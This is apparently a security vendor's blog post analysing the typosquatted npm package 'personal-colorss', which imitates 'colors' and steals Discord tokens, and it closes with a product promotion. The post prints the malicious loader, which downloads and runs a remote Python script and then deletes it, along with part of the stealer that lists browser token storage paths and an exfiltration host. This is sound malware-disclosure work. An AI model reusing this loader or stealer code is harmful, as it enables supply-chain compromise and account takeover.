All developers are prone to mistakes that leave them open to typosquatting attacks. Tiredness, dirty keyboard, or software issues may lead to typing some letters twice. Everyone would like to see a red screen and alarm coming out of the computer in such a case, but sadly, it doesn’t always work that way with most supply chain attacks. As attackers and their methods become more sophisticated every day, they are using ever-more devious ways to hide the fact that you installed a malicious package.
Mend Supply Chain Defender blocked the personal-colorss package 39 minutes after it was published into npm on May 9th, 2022. On the day of this blog’s publication, the package is still available in npm and is simple to mistake with the original colors package, not only due to its name. The package is malicious and is stealing discord tokens. While this is not something we haven’t seen before, this package is using a new approach for a better disguise and execution of its malicious behavior.
We can see that attackers are mixing technologies. In this case, we observed a JavaScript file that executes a Python script with the actual malicious content. We also observed that the attacker was using similar code to other Discord tokens-stealing malicious packages we have encountered during the last few months. This time, however, the disguise was not easily recognizable.
The personal-colorss package seems to be acting as the chart-topping original colors package which has 20 million weekly downloads. Due to the immutability of the interface in the malicious package, the users will be able to use the capabilities of ‘colors’ when using ‘personal-colorss’. Unfortunately, underneath the interface, a malicious python file is being executed to steal Discord tokens.
The main file of both the original colors package and the malicious version is lib/colors.js.
The malicious package has two versions, 0.0.1 and 0.0.2. It contains the non-obfuscated version of the malicious code in version 0.0.1 and the obfuscated version of the exact same code in version 0.0.2. As you will later see in the non-obfuscated version, the package collects user information that is needed for the execution of another malicious Python script.
Let’s focus on the visual similarities first.
On the left, is the malicious version and on the right is the original version:
Figure 1 – colors.js file from both legit and malicious versions of ‘colors’.
Both code snippets are indistinguishable, as are the rest of the files in the package, which gives the malicious version of ‘colors’ the option to act as if it is the original one, with all its capabilities.
In addition, the actor took advantage of the fact that the beginning of the original file contains comments by the author to inject the malicious part while keeping the file similar in length and content:
Figure 2 – the only visual difference between the legit and the malicious package
On the left, we see the malicious package ‘personal colorss’, while on the right we see the original ‘colors’.
The codes only differ in the marked area.
The packages also look identical in the npm registry, and it’s hard to distinguish between them:
Figure 3 – npm registry page of both packages
So far we observed that:
Let’s take a look at the first 31 lines of the file lib/colors.js file in the malicious package ‘personal-colorss’.
var colors = {}; module['exports'] = colors; const download = require('file-download') const fs = require("fs") const {execSync} = require('child_process') const local = process.env.localappdata const roaming = process.env.appdata const url = "https://cdn.discordapp.com/attachments/973091847675183204/973092116655910972/main.py" const arch = "main.py" const options = {directory: roaming,filename: arch} let configPip = ["pip0", "pip1", "pip2", "pip3", "pip4"] function baixararquivo(){ download(url, options, function(err){if(err) throw err}) setTimeout(()=> {pip()},300)} baixararquivo() async function pip(){ code = await execSync(`python ${roaming}/main.py`); let fofozaper = roaming + "/" + arch await fs.unlinkSync(fofozaper) }
After the execution of main.py, a connection is established with this site:
Figure 4 – connection to cipher stealer site is established using Xenos as part of main.pyPart of the code from main.py file that was imported under the malicious version of ‘colors’:
import os, re, threading, urllib.request class X3N0S: def __init__(self): self.host = "http://20.226.40.80/tela" self.all_tokens = [] self.valid_tokens = [] self.paths = { "__ROAMING__/Discord/Local Storage/leveldb", "__ROAMING__/Lightcord/Local Storage/leveldb", "__ROAMING__/discordcanary/Local Storage/leveldb", "__ROAMING__/discordptb/Local Storage/leveldb", "__ROAMING__/OperaSoftware/Opera GX Stable/Local Storage/leveldb", "__ROAMING__/OperaSoftware/Opera Stable/Local Storage/leveldb", "__ROAMING__/Opera Software/Opera Neon/User Data/Default/Local Storage/leveldb", "__LOCAL__/Google/Chrome/User Data/Default/Local Storage/leveldb", "__LOCAL__/Google/Chrome SxS/User Data/Local Storage/leveldb", "__LOCAL__/BraveSoftware/Brave-Browser/User Data/Default/Local Storage/leveldb", "__LOCAL__/Yandex/YandexBrowser/User Data/Default/Local Storage/leveldb", "__LOCAL__/Amigo/User Data/Local Storage/leveldb", "__LOCAL__/Torch/User Data/Local Storage/leveldb", "__LOCAL__/Kometa/User Data/Local Storage/leveldb", "__LOCAL__/Orbitum/User Data/Local Storage/leveldb", "__LOCAL__/CentBrowser/User Data/Local Storage/leveldb", "__LOCAL__/7Star/7Star/User Data/Local Storage/leveldb", "__LOCAL__/Sputnik/Sputnik/User Data/Local Storage/leveldb", "__LOCAL__/Vivaldi/User Data/Default/Local Storage/leveldb", "__LOCAL__/EpicPrivacy Browser/User Data/Local Storage/leveldb", "__LOCAL__/Microsoft/Edge/User Data/Default/Local Storage/leveldb", "__LOCAL__/uCozMedia/Uran/User Data/Default/Local Storage/leveldb", "__LOCAL__/Iridium/User Data/Default/Local Storage/leveld", }</pre>
Once the connection is established, we observe an attempt to pull out every information (discord token) stored in the browser cache through a TCP connection (IP: 34.104.35.123 port 80).
Although the technique used in the Python script is not new, the package stands out because of the way it is disguised and because of how well it mimics the original popular package.
Discord tokens are in high demand by attackers, as it contains important information such as username, password, email, and date of birth, which users provide when signing up to Discord.
The token is a way to verify who you are without exposing the password. Whoever has your discord token could also get access to your account even if you have two-factor authentication (2FA) on, as the token already has all the information inside. For some reason, Discord user tokens are plaintext, easy to steal, and let hackers bypass 2FA.
The attackers are evolving with each attack, and the open-source registries do not always take those packages down fast, if at all. It is likely that we will see more similar attacks in the future.
Mend’s automated malware detection platform, Supply Chain Defender, checks to make sure you’re only using verified package sources and prevents you from importing any malicious package into your organization or personal machine. Mend Supply Chain Defender is free to use. Sign up here >>